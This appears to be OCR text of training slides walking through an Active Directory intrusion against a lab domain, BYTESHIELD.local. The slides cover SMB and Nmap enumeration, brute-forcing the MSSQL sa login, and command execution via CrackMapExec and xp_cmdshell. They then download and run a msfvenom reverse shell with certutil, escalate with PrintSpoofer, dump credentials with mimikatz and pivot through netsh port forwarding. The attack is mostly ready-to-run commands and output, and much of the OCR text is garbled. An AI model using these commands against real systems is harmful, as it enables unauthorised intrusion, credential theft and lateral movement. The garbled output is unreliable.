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ACTIVE DIRECTORY EXPLOITATION AND .SCOSECURWYSPEGAUST’
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INTRODUCTION TO ACTIVE DIRECTORY

Active Directory Domain Services Overview

Applies to: Windows Server 2022, Windows Server 2019, Windows Server 2016, Windows Server 2012 R2, Windows Server 2012

A directory is a hierarchical structure that stores information about objects on the network. A directory service, such as Active Directory Domain Services (AD
DS), provides the methods for storing directory data and making this data available to network users and administrators. For example, AD DS stores
information about user accounts, such as names, passwords, phone numbers, and so on, and enables other authorized users on the same network to access this
information.

Active Directory stores information about objects on the network and makes this information easy for administrators and users to find and use. Active Directory
uses a structured data store as the basis for a logical, hierarchical organization of directory information.

This data store, also known as the directory, contains information about Active Directory objects. These objects typically include shared resources such as
servers, volumes, printers, and the network user and computer accounts. For more information about the Active Directory data store, see Directory data store.

Security is integrated with Active Directory through logon authentication and access control to objects in the directory. With a single network logon,
administrators can manage directory data and organization throughout their network, and authorized network users can access resources anywhere on the
network. Policy-based administration eases the management of even the most complex network. For more information about Active Directory security, see
Security

Source: https://learn.microsoft.com/en-us/windows-server /identity /ad-ds/get-started /virtual-dc/active-directory-domain-services-overview



IMPORTANCE OF ACTIVE DIRECTORY

Why Active Directory

Active Directory makes the life of an administrator easy since it provides them with a
centralized user and rights management platform. Organizations gain better control
over computer and user configurations by implementing AD. Moreover, companies can
keep their network and resources secure and organized without the need to deploy
excessive IT resources.

Thanks to the benefits AD offers to organizations of all sizes, several companies
today are implementing it as a necessity. According to a recent report by 6sense, in
2023, 18,132 companies from across the globe started using Microsoft Azure AD
services. If we look at this from a geographical viewpoint, the U.S. is the top
contributor with 51.96% of customers, followed by the U.K. with 9.52%, and Canada
with 5.59% of customers.



ACTIVE DIRECTORY

Active Directory Attacks

Microsoft Active Directory Domain Services,600 often referred to as Active Directory
(AD), is a service that allows system administrators to update and manage operating
systems, applications, users, and data access on a large scale. Since Active Directory

can be a highly complex and granular management layer, it poses a very large
attack surface and warrants

attention



ACTIVE DIRECTORY ENUMERATION

Active Directory Enumeration

Active Directory Enumeration is the process of gathering information about an AD
infrastructure. Enumeration techniques aim to extract valuable data, such as user
accounts, group memberships, system configurations, and other relevant network

information. Enumeration plays a crucial role in security assessments, penetration
testing, and understanding the network's structure.



TOOLS OF THE TRADE

Enum Tools

Nmap

Enum4linux

PowerView.py https://github.com/anigfakhrul /powerview.py
CrackMapExec

Kerbrute

impacket

Windapsearch

Ldapsearch

Rpcclient



NMAP PORTS SCAN

S (1 host up) scanned 1n 65.68 seconds




NMAP PORTS SCAN

Nmap
Scanning top 1000 ports

put

N ame




NMAP PORTS SCAN

Top 1000 ports

14 .00.1000.00;

Domaln Name: SYTESHLIELD
Compute Name: SQLSRV
SHIELD.local
: SQLSRV.BYTESHIEI
'TESHIELD. Local
190.0.14393

SERVER:
SSQLSERVER

OT T S0l

number: 14.00.1000.00

Produ




NMAP PORTS SCAN

Top 1000 ports

SQLSRYV. bv.ESHItLD.TOCHl
ESHIELD |

\,k1 -cCert.
Not valid
_Not valid

00: @s from scanner
Nindows Server 2008 R2

/o:microsoft:windows



NMAP PORTS SCAN

Top 1000 por’rs

but not required

ous, but default,




NMAP PORTS SCAN

Hunting for SQL Server
nmap -p 1433 --script ms-sql-info 192.168.0.147

(rootSS kali)-[~]

1433 ms-sql ( 192.168.0. 14

cd P
repori i

(O0.0008

SQOL

LOOO . ¢

>>>>>>>



NMAP PORTS SCAN

Hunting for SQL Server
nmap -p1433 --script ms-sql-ntim-info 192.168.0.147

FTESHLIELD

NetBIOS )m er Name: SQLSRV
DNS_Domain_Name: 3 YWTESHIELD. local
DNS_Computer_Name: SQLSRV.BYTESHIELD.loca
DNS_Tred Name : J SHIELD. ycal

Produi« 3



SMB NULL SESSIONS ENUMERATION

Smb enumeration

smbclient -L \\192.168.0.147 -N

RNAL_ERROR




SMB NULL SESSIONS ENUMARATION

Smb Enumaration

-

Samba Share ierator | Shawn Evans

thub.com/ShawnD

hosts serving SMB
) B ssion(s)




NBT SCAN

Smb Enumeration

nbtscan 192.168.0.147

(root® kali)-[~]

.0.147

scan for addresses from 192.168.0.147

NetBIOS Name Server T MAC address

B oot o e
KNnown-»



SMB ENUM WITH NMAP

Smb Enumeration

nmap --script smb-enum-shares -p 139,445 192.168.0.147

scan report for 192.

is up (0.0011s

SERVICE
tcp open nethios-ssn

5l

tcp open microsoft-ds




ENUMERATION

We could not find any smb share, let’s turn our focus to another port

Our initial enumeration shows that port 3389 and 1433 are open our enumeration
made to believe that the machine is part of a domain called BYTESHIELD.local we
can hence focus our attention on domain enumeration to see if we can find anything
will lead us to foothold in the domain

There number of tools we can use to enumerate the domain but unfortunately domain
enumeration require credential or smb null session to retrieve information about the
domain and none is available for us to use, we won’t give up yet, at this moment we
can use a tool Nmap, medusa, hydra or CrackMapExec to perform bruteforce or
Password spray against the SQL server instance



ENUMERATION

1000 .00 ;

1ITIE
Doma

compi

1000 . 00




BRUTEFORCE

Brute Forcing SQL Server login with Nmap

nmap -p1433 --script ms-sql-brute --script-args
"userdb=users.txt,passdb=/usr/share /wordlists /seclists /Passwords /darkweb2017 -
top10000.txt" 192.168.0.147

= Edit View Help




BRUTEFORCE

Bruteforcing mssql server with hydra

hydra -L users.txt -P /usr/share /wordlists /seclists /Passwords /darkweb2017 -
top10000.txt 192.168.0.147 mssql

root@kall -
File Actions Edit View Help

users.t /usr/share/wordlists/seclists/Passwords/darkweb2017-topl0000.

[DATA] attackin

(1433 | [ mssql ]| host: o Log ) : pPasswol : PERBSGZ29PTZMSE




BRUTEFORCE

Bruteforcing Mssql server login with Metasploit

canneil
l Hix](',»'.‘r('xt“ 4
Coplooo.1

" LI«

WORKSTATION

WORKSTATIO
XKSTATION\

\




BRUTEFORCE

Bruteforcing SQL Server with CrackMapExec

crackmapexec mssql 192.168.0.147 --local-auth -u users.txt -p
/usr/share/wordI|s'rs/sec||s’rs/Po|sswords/dquweb201 7-top10000.txt

| D¢ mssql 192.168.0.147 users.txt /usr/share/wordlists/seclists/Pa
qswords/darkwebZOl? top10000.txt

SQLSRV Windows 10.0 Build 14393 (name:SQLSRV) (do

SQLSRV ERROR(SQLSRV): Line 1: Login faiWé”
SQLSRV ERRUHLJLLSRV): Line 1: Login failed -

SQLSRY ] ERROR(SQLSRV): Line 1: Login failed

SQLSRV sa:PE#5GZ29PTZMSE (Pwn3d!)




ENUMERATION

Code Execution, Enumerating local users

crackmapexec mssqgl 192.168.0.147 --local-auth -u sa -p PEE5SGZ29PTZMSE -x "net
user"

File Actions Edit View Help

—(root® kali)-[~]

in:SQLSRV)
[+] sa:PE#5GZ29PTZMSE (Pwn3d!)
[+] Executed co | via m: q ,

User accounts for \\SQLSRV

Administrator DefaultAccount

The command completed successfully.




ENUMERATION

Enumerating Domain Users

crackmapexec mssqgl 192.168.0.147 --local-auth -u sa -p PEE5SGZ29PTZMSE -x "net
user /dom"

(Pwn3d!)

La mssagle

domain BYTESHIELD.lLocal

The request will be processed at a domain controller for

s User accounts for \\ROOT-DCO1.BYTESHIELD.local
192 .16 . 0.

1 .168 . ( 147 4 ) RV Administrator David.williams Guest
192.168.0 ; 43 ) SRV James . Brown Jessica.wWilliams Joe.Smi
th

Justin.Smith krbtgt Lisa.Jo
nes

Mark.Joseph Michelle.Smith Mike.Jdo
hnson

P.Brown Pwned Samanth
a.Rawland

sSql_Service
The command completed successfully.




ENUMERATION

Enumerating Domain Account Policy

crackmapexec mssqgl 192.168.0.147 --local-auth -u sa -p PEE5SGZ29PTZMSE -x "net
accounts”

File Actions Edit View Help
(root® kali)-[~]
u

/ 10.0 Builld 14393 (name:"
[+] sa:PE#5GZ29PTZMSE (Pwn3d!)
[+] Executer command via m¢ S L

Force user logoff how long after time expires?:

Minimum password age (days): 1
Maximum password age (days): 42
Minimum password length: 7
Length of password history maintained: 24
Lockout threshold: Never
Lockout duration (minutes): 30
Lockout observation window (minutes): 30
Computer role: SERVER
The command completed successfull




ENUMERATION

Enumerating DomainController

crackmapexec mssql 192.168.0.147 --local-auth -u sa -p PE#5GZ29PTZMSE -x

"C:\Users\Public\SharpView.exe Get-DomainController

File Actions Edit View Help

4 4

Windows o' bl L 1439

tPE#SGZ29PTZMSE (Pwn3d!)

*cuted ( / 1 m sgqLexe

- 1433 ‘ SRV Forest
.O.147 1433 QLSRV CurrentTime
dis 1433 ' R\ HighestCommittedUsn

147 143 SQLSRV OSVersion
1 3 .O0.147 1433 SRV Roles
RidRole, InfrastructureRole}
192.168.0.147 1433 3R Domain
192.168.0.147 1 | IPAddress
192.168.0.147 1433 ] RV SiteName
1 ¢ s 1477 1433 InboundConnections

OutboundConnections

Name
Partitions

TR T LT

BYTESHIELD.local

12/7/2023 11:33:10 AM

127031

windows Server 2019 Standard
{SchemaRole, NamingRole, PdcRole

BYTESHIELD.local

10.10.1.13
Default-First-Site-Name
{c2429322-5a2e-4805-a2ce-9a9a3fc

{5aa55aa3-cbh9c-45e3-8e33-e84bas58

ROOT-DCO1.BYTESHIELD.local
{DC=BYTESHIELD,DC=1ocal, CN=Conf




ENUMERATION

Dumping Domain Users with sharpview

crackmapexec mssql 192.168.0.147 --local-auth -u sa -p PE#5GZ29PTZMSE -x
"C:\Users\Public\SharpView.exe Get-DomainUser --help"

>
L«
LDAP: //DC=BYTESHIELD DC=lTocal

(o(samAccountType=805306368))
{S—-1-5—-21-2050123447-3108711000—

[Get-DomainSearcher] search a
[Get-Doma User] filter string
object=id

s e

USER_OBIJOECTY
7ald3dZd3l-ecea0e-4870-afl2-F74caf73
useraccountcontrol NORMAL ACCOUNT, DONT_EXPIRE_PASS

NEVER
A2/7 /2023 327 :22 AM

accountexpires
Lasztlogon

1
1
1

SHIELD DCs=Local

L9 - 1t .

«Q

1 ol
’ [ |

|
o
i

TastlLogontimestamp
pwdlastset
Tastlogoff
badPasswordTime

ame
distinguishedname

whencreated
whenchanged
Samaccountname
memberof

AL/ 3O0/2023 S:120:29 AM
AL/ 2O/2023 A2:AS5:35 PM
AZ2/31 /10600 4L :00:00 PM
A2/5 /2023 A1:54:24 AM
Ainistrator
CN=Administrator CN=Users DC=BYT

1r/z0/z2023 AA28:27 AM

A2/5/2023 8:133:33 PM
Administrator

{CN=Group Policy Creator Owners,

NeUsers , DCBYTESHIELD , DC~local, CN-Domain Admins , CN-Users ,DC~BYTESHIELD ,DC~local, CN-Enterprise Admins , CN-Users ,DC-B

IXTELD DC=lLoca chema Admins ,  CN=Users DC=BYTE IELD DC=lLocal, CN=
) 2 1 4 Ql = Administrators CN=Builtin,  DC=BYTESHIELD, DC=lLocall}




ENUMERATION

Looking through the Description field of the user Samantha Rawland we found clear
text password

badPasswordTime : 12/2/2023 4:36:15 PM

name : Samantha

distinguishedname : CN=Samantha,CN=Users,DC=BYTESHIELD,DC=local

whencreated : 11/22/2023 5:47:52 PM

whenchanged : 11/27/2023 5:12:16 PM

samaccountname : Samantha.Rawland

cn : {Samantha}

objectclass : {top, person, organizationalPerson, user}

displayname : Samantha

givenname : Samantha

badpwdcount 2 2

countrycode : 9

usnchanged : 45405

logoncount i |

primarygroupid : 513

objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=BYTESHIELD,DC=1ocal
userprincipalname : Samantha.Rawland@BYTESHIELD.local

description : Samantha is a new Employee this is her Temporary Password SR

.Passwordl!



ENUMERATION

Searching for kerberoatable users

crackmapexec mssql 192.168.0.147 --local-auth -u sa -p PE#5GZ29PTZMSE -x
"C:\Users\Public\SharpView.exe Get-DomainUser -SPN"

SOLSRV

SQLSRV ;a:PE#S5GZ29PTZMSE (Pwn3d!)

memberof

cal, CN=Domain Admins,CN=Users,DC=BYTESHIELD,DC=1local, CN=Enterprise Admins,CN=Users,

ELD,DC=local, CN=

Administrators,CN=Builtin,DC=BYTE
cn -
objectclass
ServicePrincipalName
displayname
givenname
badpwdcount
countrycode
usnchanged
logoncount
primarygroupid
objectcategory
userprincipalname
admincount

lomain:SQLSRV

{CN=Group Policy Creator Owners,CN=Users,DC=BYTESHIELD,DC=1lo
DC=BYTESHIELD,DC=1local, CN=Schema Admins,CN=Users,DC=BYTESHI

SHIELD,DC=local}
{sql_Service}
{top, person, organizationalPerson, user}

: BS_SQLSERVER/ROOT-DCO1.BYTESHIELD.local:1433

: Sql_Service

: Sql_Service

: 2

: 0

¢ 114952

ST

: 513

: CN=Person,CN=Schema,CN=Configuration,DC=BYTESHIELD,DC=1ocal
: Sql_ServicegBYTESHIELD.local

1



ENUMERATION

Searching for ASREPRoastable Account
crackmapexec mssql 192.168.0.147 --local-auth -u sa -p PE#5GZ29PTZMSE -x

"C:\Users\Public\SharpView.exe Get-DomainUser -NoPreauth”

F.1 . & nd
objectsid
samaccounttype
objectguid
useraccountcontrol
accountexpires
lastlogon
pwdlastset
lastlogoff
badPasswordTime
name
distinguishedname
whencreated
whenchanged
samaccountname
ocn
objectclass
displayname

msds-supportedencryptiontypes

givenname

Ql(ﬁénﬁd!) :

{5-1-5-21-2650123447-3108711000-1796582875-1139}
USER_OBJECT

09¢c7f3d6-027¢c~4239-8fF7c~-7e2fB8d7fecf7
NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD, DONT_REQ_PREAUTH
NEVER

12/31/1600 4:00:00 PM

12/5/2023 12:07:25 PM

12/31/1600 4:00:00 PM

12/31/1600 4:00:00 PM

Mark Joseph

CN=Mark Joseph,CN=Users, DC=BYTESHIELD,DC=1ocal
12/5/2023 8:07:25 PM

12/5/2023 8:07:49 PM

Mark.Joseph

{Mark Joseph}

{top, person, organizationalPerson, user}

Mark Joseph

o

Mark




ENUMERATION

Enumerating Domain Groups

crackmapexec mssql 192.168.0.147 --local-auth -u sa -p PE#5GZ29PTZMSE -x
"C:\Users\Public\SharpView.exe Get-DomainGroup -Domain BYTESHIELD.local"

yCN=Users ,DC=BYTESHIELD DC«local, CN=David Williams
ise Admins,CN=Us

(Pwn3d!)

[Get-DomainSearcher]
[Get-DomainGroup] filter string
objectsid

grouptype

samaccounttype

objectguid

name

distinguishedname

whencreated

whenchanged

samaccountname

member

yCNsUsers ,DCsBYTESHIELD ,DC=loca

@:
1

ers DC=BYTESHIELD,DC=1lo0ocal,
cn

objectclass
iscriticalsystemobject
usnchanged

description

LDAP: //DC«BYTESHIELD,DC=1local
(6(objectCategory=group))
{S~-1-5-32-544}
CREATED_BY_SYSTEM,
ALIAS_OBJECT
ddd9cde9-bb32-4189-a518~-72819beSae4c
Administrators
CN=Administrators CN=Builtin, DC=BYTESHIELD,DC=1local
11/20/2023 11:28:27 AM
12/5/2023 8:33:33 PM
Administrators
{CN=XIT Admins,CN=Users , DC=BYTESHIELD,DC=local,

CN=Domain Admins,CN=Users , DC=BYTESHIELD , DC=local,

DOMAIN_LOCAL_SCOPE, SECURITY

CN=Sql_Servic
CN=Enterp

CN=Administrator CN=Users DC=BYTESHIELD,DC=1ocal}

{Administrators}
{top, group}
True

114960

Administrators have complete and unrestricted access to the



ENUMERATION

Enumerating Domain Computers

crackmapexec mssql 192.168.0.147 --local-auth -u sa -p PE#5GZ29PTZMSE -x
"C:\Users\Public\SharpView.exe Get-DomainComputer -Domain BYTESHIELD.local"

[+ (Pwn3d!)
|
[Get-DomainSearcher] search base: LDAP://DC=BYTESHIELD,DC=local
[Get-DomainComputer] Get-DomainComputer filter string: (6(samAccountType=805306369))
objectsid {S-1-5-21-2650123447-3108711000-1796582875-1000}
samaccounttype MACHINE_ACCOUNT
objectguid 46d033d1-039a~-4528~-a07f~-730d528ab4a70
useraccountcontrol SERVER_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION
accountexpires NEVER
lastlogon 12/7/2023 3:35:40 AM
lastlogontimestamp 11/30/2023 2:42:27 PM
pwdlastset 11/20/2023 3:29:33 AM
lastlogoff 12/31/1600 4:00:00 PM
badPasswordTime 12/31/1600 4:00:00 PM
name ROOT-DCO1
distinguishedname CN=ROOT-DCO1 ,0U=Domain Controllers DC=BYTESHIELD, DC=1local
whencreated : 11/20/2023 11:29:18 AM
whenchanged : 11/30/2023 10:42:27 PM
samaccountname ROOT-DCO1S
cn {ROOT-DCO1}
objectclass : {top, person, organizationalPerson, user, computer}




ENUMERATION

Enumerating domain computers for unconstrained delegation

crackmapexec mssql 192.168.0.147 --local-auth -u sa -p PE#5GZ29PTZMSE -x
"C:\Users\Public\SharpView.exe Get-DomainComputer -Unconstrained -Domain
BYTESHIELD.local"

i t | " n
[+] ; Z29PTZMSE (Pwn3d!)

[+] Execut | /ia mssale

iscriticalsystemobject : False

usncreated : 16719

operatingsystem : Windows 10 Enterprise Evaluation

instancetype s &

codepage : 0

objectsid : {S-1-5-21-2650123447-3108711000-1796582875-1119}
samaccounttype : MACHINE_ACCOUNT

objectguid : a2ba22af-fela-472c-8314-1bl18ada8cifs
useraccountcontrol : WORKSTATION_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION
accountexpires : NEVER

lastlogon : 12/7/2023 4:10:43 AM

lastlogontimestamp : 11/30/2023 2:32:57 PM

pwdlastset : 1A1/20/2023 1:34:29 PM

lastlogoff : 12/31/1600 4:00:00 PM

badPasswordTime : 12/31/1600 4:00:00 PM

name : WIN1O-CLXIENT-01

distinguishedname : CN=WIN1O-CLIENT-01,0U=DomainWorkStations , DC=BYTESHIELD,DC=1l0

whencreated : 11/20/2023 9:34:29 PM
whenchanged : 12/7/2023 12:15:16 PM




ENUMERATION

Domain Computers with constrained delegation enabled

crackmapexec mssql 192.168.0.147 --local-auth -u sa -p PE#5GZ29PTZMSE -x
"C:\Users\Public\SharpView.exe Get-DomainComputer -TrustedToAuth -Domain

BYTESHIELD.local"

[ (Pwn3d!?! )
I ‘

[Get-DomainScarcher] scarch base: LDAP: //DC=BYTESHIELD,DC=local
[Get-DomainComputer] Searching for computers that are trusted to authenticate for other princ

ipals
(o(samAccountType=80530063069 )(msds-allo

[Get-DomainComputer] Get-DomainComputer filter string:

wedtodelegatetowws))
{S$~1-5-21-2650123447~3108711000~-1796582875~-1138)

objectsia

samaccounttiype : MACHINE_ACCOUNT

objectguid : 816bece94-Se3c-4ac7-b61b-021a707baaf9
useraccountcontrol : WORKSTATION_TRUST_ACCOUNT, TRUSTED_TO_AUTH_FOR_DELEGATION
accountexpires : NEVER

Lastlogon 1 A2/7/2023 4:18:54 AM

Lastlogontimestamp : A2/5/2023 10:19:

pwdlastset : A2/5/2023 10:19:

lastlogoff : 12/31/1000 4:00:

badPasswordTime : A2/31/1600 4:00:

name : SQLSRV

distinguishedname : CN=SQLSRV CN=Computers DC=BYTESHIELD, DC=1local
whencreated : 12/5/2023 6:19:20 PM

whenchanged : A2/7/2023 12:14:45 PM

samaccountname : SQLSRVS

cn : 4SaLsRVv}




ENUMERATION

Searching for Trust Relationship

crackmapexec mssql 192.168.0.147 --local-auth -u sa -p PE#5GZ29PTZMSE -x
"C:\Users\Public\SharpView.exe Get-ForestTrust -Domain BYTESHIELD.local"

roots kali)-| ~

[+] sa:PEASGZ2OPTNSE (Pan3d!)
[+] Execut comma 3 mssglexec

[Get-DomainSearcher] search base: LDAP://DC=BYTESHIELD,DC=1ocal

[Get-DomainUser] filter string: (&(samAccountType=805306368)(|(samAccountName=krbtgt)))
SourceName : BYTESHIELD.local

TargetName : TRUSTEDCORP.local

TrustDirection : Bidirectional

TrustType : Forest



CODE EXECUTION > FOOTHOLD

Code Execution with CrackMapExec

crackmapexec mssql 192.168.0.147 --local-auth -u sa -p PE#5GZ29PTZMSE -x

File Actions Edit View Help

y kala)

Windows

[+] a -t PENRSGZ29PT. > | (Pwn3d!)
[+] Executed comma 1 via msscqle

windows IP Configuration

Ethernet adapter Ethernet:

Connection-specific DNS Suffix
Autoconfiguration IPv4 Address. 169.254.82

SUbNet Maslt - & 5 o e s o o & 255.255.0.

Default Gateway . . . . . . . . 10.10.1.1
Ethernet adapter Ethernet 2:
Connection-specific DNS Suffix

Link-local IPv6 Address . . . . fe80 :: do47



CODE EXECUTION > FOOTHOLD

Code Execution

crackmapexec mssql 192.168.0.147 --local-auth -u sa -p PE#5GZ29PTZMSE -x
hosthame

hostname

203 | “ma NI CDV/ ( A A
4393 (name:SQLSRV _) (40

SQLSRV




CODE EXECUTION > FOOTHOLD

Code Execution, we are OS service account, let’s how we will spawn interactive shell

crackmapexec mssql 192.168.0.147 --local-auth -u sa -p PE#5GZ29PTZMSE -x
whoami

File Actions Edit View Help
—(root® kali)-[~]

Sd

SQLSRV Windows 10.0 Build 14393 (name:SQLSRV) (do

SQLSRV [+] sa:PE#5GZ29PTZMSE (Pwn3d!)
SQLSRV [+] Executed command via mssqlexec
SQLSRV

SQLSRV nt service\mssqlserver




CODE EXECUTION > FOOTHOLD

FootHold, at this point all we want is an interactive shell, since we can execute OS

command, we are going to use msfvenom of Metasploit to create a reverse shell
executeable

msfvenom -p windows/x64 /shell_reverse_tcp LHOST=192.168.0.101 LPORT=8443
-f exe > Shell.exe

File Actions Edit View Help
15 D

window exe Shell.exe

| the payload

[- ] No arc I } S@e —‘

encoder specified,
460 bvtes

exe tile:




CODE EXECUTION > FOOTHOLD

Running python server to serve the file

python3 -m http.server 80

File Actions Edit View Help

(root® kali)-[~]
| http.server 80
rving HTTP on 0.0.0.0 port 80 (http://0.




CODE EXECUTION > FOOTHOLD

Successfully downloaded

crackmapexec mssql 192.168.0.147 --local-auth -u sa -p PE#5GZ29PTZMSE -x
"certutil -urlcache -f http://192.168.0.101 /Shell.exe C:\Users\Public\Shell.exe"

File Actions Edit View Help

[j4(root@3kali)~[~]
+ crack apexec !5 cr’

Windows 10.0 Build 14393 (name
maln:SQLSRV)
[+] sa:PE#5GZ29PTZMSE (Pwn3d!)
[+] Executec mand via mssqlexec

*%%% Online *%%%
CertUtil: -URLCache command completed successf




CODE EXECUTION > FOOTHOLD

Going back to the terminal where our python server is listerning we could see that we
have 200 http status code showing the file have been serve Successfully

File Actions Edit View Help

—(root® kali)-[~]

—# python http.server 80
Serving

)2 .

1¢
19




CODE EXECUTION > FOOTHOLD

Confirming in the remote machine if the file has been downloaded and saved

crackmapexec mssql 192.168.0.147 --local-auth -u sa -p PEE5SGZ29PTZMSE -x "dir
C:\Users\Public"

192 . 1648

15 (Pwn3d!)

I >

Volume in drive C€ has no lLabel.

Volume Serial Number is F411-97219

Directory of C:\Users\Public

12/06/2023 02:14 PM <DIR>

12/06/2023 02:14 PM <DIR> e
12/05/2023 02:50 AM <DIR> Documents
07/16/2016 25:23 AM <DIR> Downloads
07/16/2016 25:23 AM <DIR> Music
07/16/2016 05:23 AM <DIR> Pictures
12/06/2023 @2:14 PM 7,168 Shell.exe
07/16/2016 05:23 AM <DIR> videos

1 File(s) 7,168 bytes

7 Dir(s) 28,922 ,839,040 bytes free



CODE EXECUTION > FOOTHOLD

Now we need upload another executable named PrintSpoofer that we will use to
escalate privilege from OS Service Account shell to system shell

crackmapexec mssql 192.168.0.147 --local-auth -u sa -p PE#5GZ29PTZMSE -x
"certutil -urlcache -f http://192.168.0.101 /Shell.exe
C:\Users\Public\PrintSpoofer.exe"

File Actions Edit View Help
-(roots kali)-[~]

\ S

) .0 Bulld 14393 (name

[+] sa:PE#5GZ29PTZMSE (Pwn3d!)
[+] Executed command wvia s:;",.'"lx 2 (

*%%k% Online *%*x%
CertUtil: -URLCache command completed successfully.




CODE EXECUTION > FOOTHOLD

Confirmation

crackmapexec mssql 192.168.0.147 --local-auth -u sa -p PEE5SGZ29PTZMSE -x "dir
C:\Users\Public"

File Actions Edit View Help

roots kali)

[+] sa:PENSGZ29PTZN I (Pwn3d! )
[+] Executed comma via mssql

Volume in drive C has no lLabel.

Volume Serial Number is F411-9719

Directory of C:\Users\Public

12/06/2023 oz2:28 PM <DIR> N
12/06/2023 ez:28 PM <DIR> .o

12/05 /2023 02:50 AM <DIR> Documents
Q7/16/2016 05:23 AM <DIR> Downloads
07/16/2016 05:23 AM <DIR> Music
©7/16/2016 25:23 AM <DIR> Pictures
1z2/06/2023 o228 PM PrintSpoofer.exe
12/06/2023 o2 PM Shell.exe
07/16/2016 05123 AM <DIR> videos

2 File(s) 14,336 bytes

7 Dir(s) 28,922,568,704 bytes




CODE EXECUTION > FOOTHOLD

Listerning for incoming Connection

nc -nlvp 8443

File Actions Edit View Help

(——(rootgikali)—[~]

L# n 8443




CODE EXECUTION > FOOTHOLD

Reverse Shell

crackmapexec mssql 192.168.0.147 --local-auth -u sa -p PE#5GZ29PTZMSE -x
"C:\Users\Public\Shell.exe"

LU e

 : PE#5GZ29PTZMSE (Pwn3d!)



CODE EXECUTION > FOOTHOLD

Going back to our listener we are greeted with OS service Account Shell

File Actions Edit View Help

[:—(rootﬁﬁkali)—[~1
s i Q2

] yos
192.168.0.101] from (UNKNOWN) [192.
[Version




CODE EXECUTION > FOOTHOLD

Checking Our privilege we found SelmpersonatePrivilege enabled as expected

whoami /priv

>whoan




CODE EXECUTION > FOOTHOLD

There we go, we now have system shell

PrintSpoofer.exe -i -c cmd

)L1c>PrintSpoorer.
r.exe -1 -c cmd

I'SC

» Seln
stening ...
[+] CreateProcessAsUser()

Windows

pe

C:\Windows\system32>whoaml

whoamil

nt authority\sy




CODE EXECUTION > FOOTHOLD

Impacket was originally created by SecureAuth, and now maintained by Fortra's Core
Security.

Impacket is a collection of Python classes for working with network protocols.
Impacket is focused on providing low-level programmatic access to the packets and
for some protocols (e.g. SMB1-3 and MSRPC) the protocol implementation itself.
Packets can be constructed from scratch, as well as parsed from raw data, and the
object-oriented APl makes it simple to work with deep hierarchies of protocols. The

library provides a set of tools as examples of what can be done within the context of
this library.



CODE EXECUTION > FOOTHOLD

Using impacket-mssqlclient

impacket-mssqlclient sa:"PE#5GZ29PTZMSE"@192.168.0.147

File Actions Edit View Help
[-—(' root® kali)-[~]

*

0ld Value:

*

\

): Old Value

Y

[ *
[
[
[
[ *
|
[
[

[ W |




CODE EXECUTION > FOOTHOLD

Enabling xp_cmdshell for code execution
sp_configure 'show advanced options’, '1’
RECONFIGURE

sp_configure 'xp_cmdshell’, '1’

RECONFIGURE

EXEC master..xp_cmdshell 'whoam'




CODE EXECUTION > FOOTHOLD

Uploading the shell to the remote Machine

EXEC master..xp_cmdshell "certutil -urlcache -f http://192.168.0.101 /Shell.exe
C:\Users\Public\Shell.exe"

SQL (se ogmaster)> master.. xp_cmdshell "certutil -urlcache -f http://

sers\Public\S
output

*%x% 0Online *x%%
CertUtil: -URLCache command completed successfully.

NULL




CODE EXECUTION > FOOTHOLD

Serving the file

python3 -m http.server 80

File Actions Edit View Help




CODE EXECUTION > FOOTHOLD

Confirming if the file is uploaded successfully

EXEC master..xp_cmdshell "dir C:\Users\Public"

=10] (sa

out lvlll

Vo lLume

NULL

MNMrartnrv

12/06/2023




CODE EXECUTION > FOOTHOLD

Executing the reverse shell

EXEC master..xp_cmdshell "C:\Users\Public\Shell.exe*




CODE EXECUTION > FOOTHOLD

We got a shell with OS service account privilege, let’s execute printspoofer to elevate
to system shell

Whoami /priv




CODE EXECUTION > FOOTHOLD

There we go, we got system

PrintSpoofer.exe -i -c cmd

I N |
2 XEe cmd
1lege: SeImpersonatePrivilege
1
\

Found priy

ed pipe

S

reserved.

whoamil

nt authority\system




POST EXPLOITATION

Downloading Mimikatz from my attacking box

certutil -urlcache -f http://192.168.0.101 /mimikatz.exe
C:\Users\Public\mimikatz.exe

C:\Users\Public>certutil -urlcache -f http://192.168.0.101/mimikatz.exe C:'

AC

certutil -urlcache -f http://192.168.0.101/mimikatz.exe C:\Users\Public\mimika

* % % % On ~l i ne % % % %

CertUtil: -URLCache command completed successfully.




POST EXPLOITATION

Downloading mimkatz

dir
Volun 1n drive C has no

Volume rial Number 1s F




POST EXPLOITATION

Dumping NTLM hashes with mimikatz

mimikatz.e

A

Benjamin [

> htt

Vincent




POST EXPLOITATION

P.orown Credential dumping with mimikatz

Domain

Logon

Logon

SID - ‘ . 11-2650 ) 3447 3108711000

0000000
* Usernam
Domain
NTLM
SHAI

DPAPI

ernamdi
Domain
Password
'A"}\'I'ix

Username

Domain

Pas 'l,.“,"l-"



POST EXPLOITATION

Pivoting, Forwading & Tunnelling

At this point we have compromised a DMZ windows server 2016 and obtained
system shell, ifconfig on the compromised server show the server has 2 interfaces, one
interface facing the public while the other one is connected to a private network
which we don’t have access to directly

The only way for us to access the internal network is either through Pivoting using tool
like chisel or port forwarding using netsh windows native tool, once we have system
we can configure the server to forward selected port’s traffic from our kali box to the
internal network, later we can attempt to forward the entire traffic using chisel



POST EXPLOITATION

Port forwarding
Configuring port forwarding with netsh windows native tool

advfirewall firewall add rule name="forward_port_rule" protocol=TCP dir=in
Iocqllp 192.168.0.147 localport=4455 action=allow

=23 i ik i 3% b ¥ T I Sy,
rute” protocol=TCP dir=1n

_port_rule”




POST EXPLOITATION

Port forwarding
Configuring port forwarding with netsh windows native tool

netsh interface portproxy add v4tov4 listenport=4455
listenaddress=192.168.0.147 connectport=445 connectaddress=10.10.1.13

*ﬁEPHP1 >nets h _HTH“T1r~ pulTplu y add vé4tovs listenport=4455 listenaddress=192.168.0.147 c

1stenport=4455 listenaddress=192.168.0.147 connectport=445 c

C:\Users\Public> netstat -anp TC find "4455"
netstat -anp TCP |
TC )2.168.0.147: 4455 0.0.0.0:0 LISTENING




POST EXPLOITATION

Port Forwarding

Before Connecting to the forwarded port the compromised machine we need to
configure Smb on our attacking machine to allow SMB2

nano /etc/samba/smb.conf

/etc/init.d/smbd restart

e
GNU nano 7.2 /etc/samba/smb . con'F e
create A i< D7«




POST EXPLOITATION

Here we go, we can now list the available shares on the DC

smbclient -L 192.168.0.147 --port=4455 --user=p.brown

—(root® kali)-[~/Tools]
nbclien 192.16 0.147
Yassword for [WORKGROUP\p.brown]:

Sharename ype Comment
ADMINS$ Disk Remote Admin
3S-Share C ‘

